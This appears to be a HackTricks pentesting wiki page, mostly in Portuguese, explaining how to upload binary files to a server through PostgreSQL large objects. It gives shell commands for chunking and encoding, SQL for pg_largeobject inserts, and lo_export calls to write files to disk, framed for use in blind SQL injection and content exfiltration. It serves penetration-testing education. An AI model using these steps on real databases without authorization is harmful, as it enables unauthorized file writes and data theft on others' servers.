Big Binary Files Upload (PostgreSQL)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Objetos Grandes do PostgreSQL

O PostgreSQL oferece uma estrutura conhecida como objetos grandes, acessível através da tabela pg_largeobject, projetada para armazenar tipos de dados grandes, como imagens ou documentos PDF. Essa abordagem é vantajosa em relação à função COPY TO, pois permite a exportação de dados de volta para o sistema de arquivos, garantindo que uma réplica exata do arquivo original seja mantida.

Para armazenar um arquivo completo dentro desta tabela, um objeto deve ser criado na tabela pg_largeobject (identificado por um LOID), seguido pela inserção de pedaços de dados, cada um com 2KB de tamanho, neste objeto. É crucial que esses pedaços tenham exatamente 2KB de tamanho (com a possível exceção do último pedaço) para garantir que a função de exportação funcione corretamente.

Para dividir seus dados binários em pedaços de 2KB, os seguintes comandos podem ser executados:

split -b 2048 your_file # Creates 2KB sized files

Para codificar cada arquivo em Base64 ou Hex, os comandos abaixo podem ser usados:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Importante: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes em texto claro. Arquivos codificados em hex precisarão de 4KB de dados por pedaço devido à duplicação no tamanho, enquanto arquivos codificados em Base64 seguem a fórmula ceil(n / 3) * 4.

O conteúdo dos grandes objetos pode ser visualizado para fins de depuração usando:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Usando lo_creat e Base64

Para armazenar dados binários, um LOID é primeiro criado:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

Em situações que requerem controle preciso, como explorar uma Blind SQL Injection, lo_create é preferido para especificar um LOID fixo.

Os blocos de dados podem então ser inseridos da seguinte forma:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Para exportar e potencialmente excluir o objeto grande após o uso:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Usando lo_import e Hex

A função lo_import pode ser utilizada para criar e especificar um LOID para um objeto grande:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Após a criação do objeto, os dados são inseridos por página, garantindo que cada pedaço não exceda 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Para completar o processo, os dados são exportados e o objeto grande é excluído:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Limitações

É observado que objetos grandes podem ter ACLs (Listas de Controle de Acesso), potencialmente restringindo o acesso mesmo a objetos criados pelo seu usuário. No entanto, objetos mais antigos com ACLs permissivas ainda podem ser acessíveis para exfiltração de conteúdo.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated